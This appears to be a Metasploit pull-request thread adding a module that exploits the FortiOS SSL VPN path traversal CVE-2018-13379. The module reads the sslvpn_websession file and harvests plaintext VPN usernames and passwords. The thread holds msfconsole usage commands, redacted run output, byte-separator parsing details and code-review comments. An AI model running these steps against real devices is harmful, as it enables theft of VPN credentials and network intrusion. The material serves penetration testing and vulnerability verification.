Add fortios path traversal credential grabber (cve-2018-13379)

[mekhalleh]

FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests (CVE-2018-13379).

A path traversal vulnerability in the FortiOS SSL VPN web portal may allow an unauthenticated
attacker to download FortiOS system files through specially crafted HTTP resource requests.

Vulnerable Application

This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords in (clear/text).
This vulnerability affect (FortiOS 5.4.6 to 5.4.12, FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4).

Verification Steps

1. Start msfconsole
2. Do: use auxiliary/scanner/http/fortios_vpnssl_traversal_leak
3. Do: set RHOSTS [IP]
4. Do: set RPORT 10443
5. Do: run

Options

DUMP_FORMAT

Dump format. (Accepted: raw, ascii)

STORE_CRED

Store credential into the Metasploit database.

Scenarios

Usages

You can scan and get all credentials on the remote target when you run the followind command:

msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > options

Module options (auxiliary/scanner/http/fortios_vpnssl_traversal_leak):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_FORMAT  raw              yes       Dump format. (Accepted: raw, ascii)
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       XXX.XX.XXX.X     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        10443            yes       The target port (TCP)
   SSL          true             no        Negotiate SSL/TLS for outgoing connections
   STORE_CRED   true             no        Store credential into the database.
   STORE_LOOT   false            no        Store dump in loot.
   TARGETURI    /remote          yes       Base path
   THREADS      16               yes       The number of concurrent threads (max one per host)
   VHOST                         no        HTTP server virtual host

msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > run

[*] Trying - https://XXX.XX.XXX.X:10443/
[+] Target - https://XXX.XX.XXX.X:10443/ - Vulnerable!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > creds
Credentials
===========

host          origin        service            public  private  realm  private_type  JtR Format
----          ------        -------            ------  -------  -----  ------------  ----------
XXX.XX.XXX.X  XXX.XX.XXX.X  10443/tcp (https)  redacted  redacted          Password      

msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) >

You can get a dump capture of the leaked data file.

To do this specific thing, here's how you do it:

msf6 > use auxiliary/scanner/http/fortios_vpnssl_traversal_leak
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > set RHOSTS [IP]
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > set LHOST 10443
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > set STORE_LOOT true
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) > run

[*] Trying - https://XXX.XX.XXX.X:10443/
[+] Target - https://XXX.XX.XXX.X:10443/ - Vulnerable!
[+] File saved to /home/mekhalleh/.msf4/loot/20201130122633_default_XXX.XX.XXX.X__209748.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/fortios_vpnssl_traversal_leak) >

[h00die]

looks like the oldest VM fortinet has on their download page is 6.2.5

[mekhalleh]

Yep, for the 6.2 branch. but a lot haven't done the updates. many devices still have vulnerable in the wild.

If you need to check I can share by mail the public IP to the vulnerable device in my lab.

[acammack-r7]

Instead of assuming the chunk has valid credentials in it and then rescuing this generic exception, we should check the input to see if it is valid. NoMethodError is raised by any typing error in the code, and rescuing it here will make the module much harder to maintain or even tell if it's broken in the future.

[bcoles]

Related: #14518 (comment)

[mekhalleh]

yes sorry, I had to do some testing before making this change. I think it's better now.

[label-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[bwatters-r7]

I'd strongly recommend you just use rubocop -a to automatically correct errors. We've spent a lot of time customizing the rules.

[bwatters-r7]

If you need to check I can share by mail the public IP to the vulnerable device in my lab.
Would you be willing to share that with msfdev[at]metasploit.com?

[mekhalleh]

I'd strongly recommend you just use rubocop -a to automatically correct errors. We've spent a lot of time customizing the rules.

I corrected several recommendations from rubocop. However with the switch -a one that breaks the code.

[bcoles]

I'd strongly recommend you just use rubocop -a to automatically correct errors. We've spent a lot of time customizing the rules.

I corrected several recommendations from rubocop. However with the switch -a one that breaks the code.

what broke?

[mekhalleh]

I'd strongly recommend you just use rubocop -a to automatically correct errors. We've spent a lot of time customizing the rules.

I corrected several recommendations from rubocop. However with the switch -a one that breaks the code.

what broke?

sorry, surely an error on my side, I updated.

[gwillcox-r7]

Going to rebase this due to a conflict in testing with the rex-text gem, as well as the fact that we did a bunch of updates recently that this module should be tested with to make sure nothing is awry.

[mekhalleh]

First, what you should know is that the credentials are stored in the session file. And that as long as no user is connected there is no password in it.

To test, you must first simulate a connection:

1. Connect to the vpn ssl
2. run the module

** the mdp remains in memory until the device is restarted.

But that's not the only problem, apparently the separator needs to be changed.

separator = "\x5F\x01"
separator = "\x5F\x00\x00\x00\x00\x01" if data =~ /\x5F\x00\x00\x00\x00\x01/

to

separator = "\x60\x01"
separator = "\x60\x00\x00\x00\x00\x01" if data =~ /\x60\x00\x00\x00\x00\x01/

And I'm trying to understand why? 2020 -> 2021?

[mekhalleh]

do not merge now as that may change. we need to find a better way to parse the response to collect credentials.

[mekhalleh]

it seems that I am not far from understanding why ...

int(0x5E5625A6)
1582704038
5E5625A6 -> 1582704038

[mekhalleh]

it's far from elegant, but it does the job well.

I tested on multiple vulnerable devices. The problem is that the header is different each time and the space allocated to session data may change depending on the devices.

[gwillcox-r7]

Testing the updates confirmed that it works as expected. Results have been emailed over @mekhalleh; not posting them here due to sensitivity.

[gwillcox-r7]

Hmm so overall this code looks great but I do have a few questions. The first is that this module could potentially handle other files, but it looks more like its a credential gatherer at the moment. This brings into question why this module is not located under the modules/auxiliary/gather/ branch, which would be more appropriate for a credential gatherer.

I also noted that this exploit could be used to retrieve more than creds if you wish to change this, though in light of the above note I'm not sure if this would be a good idea or not; might be better to just make it a dedicated credential gatherer to avoid confusion.

Finally I made one comment r.e a line of code that I think could be removed.

Let me know what you think, open to ideas :)

[gwillcox-r7]

Alright after further consideration I realized my previous suggestions didn't make much sense, however the move to place the files under the modules/auxiliary/gather/ branch as this module is related to credential gathering does make sense. Therefore I'm just going to go ahead and quickly make that change, apply one minor spacing related RuboCop, and then get this module landed.

[gwillcox-r7]

Okay sorry about that had a small case where I realized the commit history could be tidied up so went ahead and did that, and then also made a mistake with not updating some documentation to reflect the recent file name changes so went ahead and fixed that up. Should be able to land this once checks pass.

[gwillcox-r7]

Release Notes

New module auxiliary/gather/fortios_vpnssl_traversal_creds_leak leverages a directory traversal vulnerability (CVE-2018-13379) in the SSL VPN web portal of FortiOS 5.4.6 to 5.4.12, FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 to grab the /dev/cmdb/sslvpn_websession file, which contains the plaintext list of currently connected usernames and their associated passwords. These credentials can then be saved to the creds database for use in future attacks.